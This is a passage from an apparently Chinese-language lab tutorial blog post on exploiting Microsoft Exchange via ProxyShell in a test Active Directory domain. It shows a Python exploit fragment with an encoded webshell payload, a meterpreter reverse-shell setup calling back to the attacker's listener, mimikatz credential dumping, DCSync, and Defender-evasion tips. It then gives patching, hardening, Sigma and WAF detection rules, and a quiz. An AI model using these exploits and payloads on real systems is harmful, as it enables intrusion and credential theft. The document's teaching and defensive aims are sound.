FT2OYzayTnpnjk5OTk5Oc0DzYP3FGn3FPPS2nUUOf85lkSGhtOGbjmWOUo52vON2tbWqd/aMZ45OSGeIZ6V+9ZUhrdpFNme"

    data = f"""
    <soap:Envelope
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016" />
    <t:SerializedSecurityContext>
      <t:UserSid>{proxyshell.sid}</t:UserSid>
      <t:GroupSids>
        <t:GroupIdentifier>
          <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
        </t:GroupIdentifier>
      </t:GroupSids>
    </t:SerializedSecurityContext>
  </soap:Header>
  <soap:Body>
    <m:CreateItem MessageDisposition="SaveOnly">
      <m:Items>
        <t:Message>
          <t:Subject>{proxyshell.rand_subj}</t:Subject>
          <t:Body BodyType="HTML">hello from darkness side</t:Body>
          <t:Attachments>
            <t:FileAttachment>
              <t:Name>FileAttachment.txt</t:Name>
              <t:IsInline>false</t:IsInline>
              <t:IsContactPhoto>false</t:IsContactPhoto>
              <t:Content>{ENCODED_PAYLOAD}</t:Content>
            </t:FileAttachment>
          </t:Attachments>
          <t:ToRecipients>
            <t:Mailbox>
              <t:EmailAddress>{proxyshell.email}</t:EmailAddress>
            </t:Mailbox>
          </t:ToRecipients>
        </t:Message>
      </m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>
    """

    headers = {
        'Content-Type': 'text/xml'
    }

    r = proxyshell.post(
        f'/EWS/exchange.asmx/?X-Rps-CAT={proxyshell.token}',
        data=data,
        headers=headers
    )

def main():

    args = get_args()
    exchange_url = args.u
    email = args.e
    local_port = args.p

    proxyshell = ProxyShell(
        exchange_url,
        email
    )

    exploit(proxyshell)
    start_server(proxyshell, local_port)

    while True:
        shell(input('PS> '), local_port, proxyshell)


if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(
        requests.packages.urllib3.exceptions.InsecureRequestWarning
    )
    if not (sys.version_info.major == 3 and sys.version_info.minor >= 8):
        print("This script requires Python 3.8 or higher!")
        print("You are using Python {}.{}.".format(sys.version_info.major, sys.version_info.minor))
        sys.exit(1)
    main()

步驟 5: 執行完整攻擊

# 使用修改後的腳本
 python3 proxyshell_rce_defender_bypass.py -u https://192.168.139.21 -e administrator@sevenkingdoms.local

# 測試 webshell
curl -k 'https://192.168.139.21/aspnet_client/bypass_shell.aspx?exec_code=whoami'

理論上會成功輸出:

nt authority\system

不過實際測試發生錯誤
image


Part 5: 後滲透與提權

5.1 從 Webshell 到完整 Shell

# 產生 PowerShell reverse shell payload
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.139.136 LPORT=443 \
  -f psh-reflection > payload.ps1

# 啟動 handler
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 192.168.139.136; \
  set LPORT 443; \
  run"

# 透過 webshell 執行
curl -k 'https://192.168.139.21/aspnet_client/bypass_shell.aspx' \
  --data-urlencode "exec_code=powershell -exec bypass -enc <base64_payload>"

5.2 憑證提取

# 在 Meterpreter session 中
meterpreter > load kiwi
meterpreter > creds_all

# 或使用 Mimikatz
meterpreter > execute -f mimikatz.exe -i -H -a '"privilege::debug" "sekurlsa::logonpasswords" "exit"'

5.3 DCSync 攻擊

Exchange Trusted Subsystem 是 Domain Admins 成員

# 使用 Exchange 的高權限進行 DCSync
impacket-secretsdump -just-dc \
  'sevenkingdoms.local/administrator:Password123!@192.168.139.10'

取得 krbtgt hash 後可建立 Golden Ticket


Part 6: 防禦措施

6.1 修補程式管理

# 檢查 Exchange 版本
Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion

# 安裝最新 CU
# 下載並安裝 Exchange 累積更新
.\Setup.exe /Mode:Upgrade /IAcceptExchangeServerLicenseTerms

重要版本資訊:

  • Exchange 2019: 應至少 CU12 + 最新安全更新
  • Exchange 2016: 應至少 CU23 + 最新安全更新
  • 使用 Microsoft Exchange Health Checker 檢測

6.2 強化設定

停用不必要的虛擬目錄

# 停用 Autodiscover 未使用的驗證方法
Set-AutodiscoverVirtualDirectory -Identity "THE-EYRIE\Autodiscover (Default Web Site)" `
  -BasicAuthentication $false -WindowsAuthentication $true

# 限制 ECP (Exchange Control Panel) 存取
Set-EcpVirtualDirectory -Identity "THE-EYRIE\ecp (Default Web Site)" `
  -AdminEnabled $true -ExternalUrl $null

實施 IP 限制

# 限制 /ecp/ 只能從內部網路存取
Import-Module WebAdministration
$rule = New-Object -TypeName Microsoft.Web.Management.Server.IPSecurity
$rule.AllowUnlisted = $false
$rule.Add("192.168.139.0/24", $true)
Set-WebConfiguration "/system.webServer/security/ipSecurity" `
  -PSPath "IIS:\Sites\Default Web Site\ecp" -Value $rule

6.3 監控與偵測

關鍵事件監控

# Exchange Admin Audit Log
Search-AdminAuditLog -Cmdlets New-ManagementRoleAssignment | Format-List

# 監控匯出請求
Get-MailboxExportRequest -Status Completed | 
  Select-Object Mailbox,FilePath,CreatedBy,CompletionTime

# IIS 日誌分析
Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\*.log" | 
  Select-String "autodiscover.json"

偵測 ProxyShell 攻擊

Sigma 規則範例:

title: ProxyShell Exploitation Attempt
description: Detects exploitation attempts of ProxyShell vulnerabilities
logsource:
  category: webserver
  product: exchange
detection:
  selection:
    c-uri|contains:
      - 'autodiscover.json?@'
      - '/mapi/nspi'
      - '/powershell'
    cs-method: 'POST'
  condition: selection
falsepositives:
  - Legitimate Autodiscover requests
level: high

6.4 網路層防護

# WAF 規則 (ModSecurity 格式)
SecRule REQUEST_URI "@rx /autodiscover/autodiscover\.json\?@.*/(mapi|powershell|owa)" \
  "id:1001,phase:2,deny,status:403,msg:'ProxyShell exploitation attempt blocked'"

# 防火牆規則
# 限制 Exchange OWA/ECP 只能從 VPN 或特定 IP 存取
iptables -A INPUT -p tcp --dport 443 -s 192.168.139.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

故障排除

ProxyShell PoC 連線失敗

# 檢查 SSL 憑證
openssl s_client -connect 192.168.139.21:443 -servername the-eyrie.sevenkingdoms.local

# 修改 /etc/hosts
echo "192.168.139.21 the-eyrie.sevenkingdoms.local" | sudo tee -a /etc/hosts

# 使用 FQDN 重試
python3 proxyshell_poc.py -u https://the-eyrie.sevenkingdoms.local -e administrator@sevenkingdoms.local

Webshell 無法執行

# 檢查 IIS 應用程式池
# 確認 ASP.NET 已啟用
# 檢查檔案權限
icacls C:\inetpub\wwwroot\aspnet_client\bypass_shell.aspx

# 查看 IIS 錯誤日誌
Get-Content C:\Windows\System32\LogFiles\HTTPERR\*.log -Tail 50

Defender 仍然偵測

# 進一步混淆
# 1. 加密字串
# 2. 改變函數名稱
# 3. 使用不同的執行方式 (wscript.shell, WMI)
# 4. 分段載入 payload

本日重點回顧

  • Exchange 是 AD 環境的高價值目標 - Trusted Subsystem 擁有 Domain Admins 權限
  • NTLM 端點洩漏網域資訊 - 可用於使用者列舉與偵察
  • ProxyShell 是強大的無認證 RCE - 結合三個漏洞達成完整攻擊鏈
  • PST 編碼技術可繞過 AV - 理解編碼機制是關鍵
  • 防禦需要多層次策略 - 修補、強化、監控缺一不可

小試身手

Q1. ProxyShell 漏洞鏈中,哪個 CVE 負責 SSRF (Server-Side Request Forgery)?

A. CVE-2021-31207
B. CVE-2021-34473
C. CVE-2021-34523
D. CVE-2021-26855

答案: B
解析: CVE-2021-34473 是 Pre-auth Path Confusion 漏洞,允許攻擊者透過精心構造的 URL 路徑存取後端 Exchange API,這是典型的 SSRF 攻擊。CVE-2021-26855 是 ProxyLogon 的 SSRF,而非 ProxyShell。

Q2. 為什麼 New-MailboxExportRequest 可以寫入任意檔案?

A. 因為它有檔案寫入漏洞
B. 因為 PST 格式允許嵌入二進位資料
C. 因為 Exchange 沒有路徑檢查
D. 因為使用了 UNC 路徑

答案: B
解析: PST (Personal Storage Table) 是 Outlook 的郵件儲存格式,其結構允許包含任意二進位資料。當匯出郵件到 PST 時,可以在郵件內容中嵌入 webshell 程式碼,匯出過程會將完整內容寫入指定的檔案路徑。

Q3. 下列哪個角色賦予 Exchange 對 Active Directory 的寫入權限?

A. Organization Management
B. Exchange Trusted Subsystem
C. Exchange Windows Permissions
D. Recipient Management

答案: B
解析: Exchange Trusted Subsystem 是 Domain Admins 的成員,對整個 AD 擁有完整權限。這是 Exchange 需要修改 AD 物件 (如建立使用者、修改屬性) 的原因,但也成為攻擊者的目標。

Q4. 使用 TREVORspray 進行密碼噴灑時,為什麼要設定延遲?

A. 為了繞過防火牆
B. 為了避免帳號鎖定
C. 為了減少網路流量
D. 為了提高成功率

答案: B
解析: Windows 預設的帳號鎖定政策會在短時間內多次登入失敗後鎖定帳號。設定延遲可以分散失敗嘗試的時間,避免觸發鎖定機制,同時也能降低被 SIEM 偵測的機率。

Q5. 下列哪個措施最能有效防禦 ProxyShell 攻擊?

A. 停用 SSL
B. 安裝最新的累積更新
C. 改變管理員密碼
D. 停用 Autodiscover

答案: B
解析: ProxyShell 是已知漏洞,Microsoft 已在後續的累積更新 (CU) 和安全更新中修補。安裝最新更新是最根本的防禦方式。停用 Autodiscover 會影響正常功能,且無法完全阻止攻擊 (還有其他端點)。


延伸學習

進階攻擊技術

  • PrivExchange - 利用 Exchange 的推播訂閱功能強制認證
  • ProxyNotShell - CVE-2022-41040 + CVE-2022-41082 的組合攻擊
  • NTLM Relay to Exchange - 結合 PetitPotam 與 Exchange EWS

防禦深化

  • 實施 Exchange Extended Protection
  • 部署 Microsoft Defender for Office 365
  • 設定 Exchange Online Protection (EOP) 規則
  • 定期審查 Exchange 權限與角色指派

相關工具

  • Ruler - Exchange 郵件規則濫用工具
  • MailSniper - Exchange 滲透測試工具套件
  • Exchanger - Exchange 後滲透框架
  • Exchange Hunter - 自動化 Exchange 漏洞掃描器

參考文章

Orange Tsai 部落格文章連結


上一篇
AD 攻防實戰演練 Day 23:掌握 AD 列舉技術與 SYSTEM 權限運用
系列文
資安這條路:AD 攻防實戰演練24
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言